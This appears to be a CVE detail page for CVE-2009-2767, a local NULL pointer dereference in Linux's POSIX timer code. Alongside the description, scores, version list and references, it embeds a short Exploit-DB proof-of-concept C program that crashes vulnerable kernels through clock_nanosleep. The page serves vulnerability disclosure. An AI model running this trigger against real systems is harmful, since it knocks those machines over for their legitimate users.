CVE-2009-2767 : Detail

CVE-2009-2767

Overflow
0.13%V4
Local
2009-08-14
13h00 +00:00
2017-08-16
12h57 +00:00
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CVE Descriptions

The init_posix_timers function in kernel/posix-timers.c in the Linux kernel before 2.6.31-rc6 allows local users to cause a denial of service (OOPS) or possibly gain privileges via a CLOCK_MONOTONIC_RAW clock_nanosleep call that triggers a NULL pointer dereference.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 33148

Publication date : 2009-08-05 22h00 +00:00
Author : Hiroshi Shimamoto
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/35976/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to crash the affected kernel, denying service to legitimate users. Given the nature of this issue, attackers may also be able to execute arbitrary code, but this has not been confirmed. This issue was introduced in Linux kernel 2.6.28-rc1 and fixed in 2.6.31-rc5-git3. */ #include <time.h> int main(void) { struct timespec ts; ts.tv_sec = 1; ts.tv_nsec = 0; return clock_nanosleep(4, 0, &ts, NULL); }

Products Mentioned

Configuraton 0

Linux>>Kernel >> Version 2.6.24.7

    Linux>>Kernel >> Version 2.6.25.15

      Linux>>Linux_kernel >> Version To (including) 2.6.16.31

        Linux>>Linux_kernel >> Version 2.6

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.10

        Linux>>Linux_kernel >> Version 2.6.11

        Linux>>Linux_kernel >> Version 2.6.11.1

        Linux>>Linux_kernel >> Version 2.6.11.2

        Linux>>Linux_kernel >> Version 2.6.11.3

        Linux>>Linux_kernel >> Version 2.6.11.4

        Linux>>Linux_kernel >> Version 2.6.11.5

        Linux>>Linux_kernel >> Version 2.6.11.6

        Linux>>Linux_kernel >> Version 2.6.11.7

        Linux>>Linux_kernel >> Version 2.6.11.8

        Linux>>Linux_kernel >> Version 2.6.11.9

        Linux>>Linux_kernel >> Version 2.6.11.10

        Linux>>Linux_kernel >> Version 2.6.11.11

        Linux>>Linux_kernel >> Version 2.6.11.12

        Linux>>Linux_kernel >> Version 2.6.12

        Linux>>Linux_kernel >> Version 2.6.12.1

        Linux>>Linux_kernel >> Version 2.6.12.2

        Linux>>Linux_kernel >> Version 2.6.12.3

        Linux>>Linux_kernel >> Version 2.6.12.4

        Linux>>Linux_kernel >> Version 2.6.12.5

        Linux>>Linux_kernel >> Version 2.6.12.6

        Linux>>Linux_kernel >> Version 2.6.13

        Linux>>Linux_kernel >> Version 2.6.13.1

        Linux>>Linux_kernel >> Version 2.6.13.2

        Linux>>Linux_kernel >> Version 2.6.13.3

        Linux>>Linux_kernel >> Version 2.6.13.4

        Linux>>Linux_kernel >> Version 2.6.13.5

        Linux>>Linux_kernel >> Version 2.6.14

        Linux>>Linux_kernel >> Version 2.6.14.1

        Linux>>Linux_kernel >> Version 2.6.14.2

        Linux>>Linux_kernel >> Version 2.6.14.3

        Linux>>Linux_kernel >> Version 2.6.14.4

        Linux>>Linux_kernel >> Version 2.6.14.5

        Linux>>Linux_kernel >> Version 2.6.14.6

        Linux>>Linux_kernel >> Version 2.6.14.7

        Linux>>Linux_kernel >> Version 2.6.15

        Linux>>Linux_kernel >> Version 2.6.15.1

        Linux>>Linux_kernel >> Version 2.6.15.2

        Linux>>Linux_kernel >> Version 2.6.15.3

        Linux>>Linux_kernel >> Version 2.6.15.4

        Linux>>Linux_kernel >> Version 2.6.15.5

        Linux>>Linux_kernel >> Version 2.6.15.6

        Linux>>Linux_kernel >> Version 2.6.15.7

        Linux>>Linux_kernel >> Version 2.6.16

        Linux>>Linux_kernel >> Version 2.6.16.1

        Linux>>Linux_kernel >> Version 2.6.16.2

        Linux>>Linux_kernel >> Version 2.6.16.3

        Linux>>Linux_kernel >> Version 2.6.16.10

        Linux>>Linux_kernel >> Version 2.6.16.11

        Linux>>Linux_kernel >> Version 2.6.16.12

        Linux>>Linux_kernel >> Version 2.6.16.13

        Linux>>Linux_kernel >> Version 2.6.16.14

        Linux>>Linux_kernel >> Version 2.6.16.15

        Linux>>Linux_kernel >> Version 2.6.16.16

        Linux>>Linux_kernel >> Version 2.6.16.17

        Linux>>Linux_kernel >> Version 2.6.16.18

        Linux>>Linux_kernel >> Version 2.6.16.19

        Linux>>Linux_kernel >> Version 2.6.16.20

        Linux>>Linux_kernel >> Version 2.6.16.21

        Linux>>Linux_kernel >> Version 2.6.16.22

        Linux>>Linux_kernel >> Version 2.6.16.23

        Linux>>Linux_kernel >> Version 2.6.16.24

        Linux>>Linux_kernel >> Version 2.6.16.25

        Linux>>Linux_kernel >> Version 2.6.16.26

        Linux>>Linux_kernel >> Version 2.6.16.27

        Linux>>Linux_kernel >> Version 2.6.16.28

        Linux>>Linux_kernel >> Version 2.6.16.29

        Linux>>Linux_kernel >> Version 2.6.16.30

        Linux>>Linux_kernel >> Version 2.6.16.31

        Linux>>Linux_kernel >> Version 2.6.16.31

          Linux>>Linux_kernel >> Version 2.6.16.31

            Linux>>Linux_kernel >> Version 2.6.16.31

              Linux>>Linux_kernel >> Version 2.6.16.31

                References

                http://secunia.com/advisories/36200
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://lkml.org/lkml/2009/8/4/40
                Tags : mailing-list, x_refsource_MLIST
                http://www.vupen.com/english/advisories/2009/2197
                Tags : vdb-entry, x_refsource_VUPEN
                http://www.ubuntu.com/usn/USN-852-1
                Tags : vendor-advisory, x_refsource_UBUNTU
                http://www.openwall.com/lists/oss-security/2009/08/06/2
                Tags : mailing-list, x_refsource_MLIST
                http://lkml.org/lkml/2009/8/4/28
                Tags : mailing-list, x_refsource_MLIST
                http://secunia.com/advisories/37105
                Tags : third-party-advisory, x_refsource_SECUNIA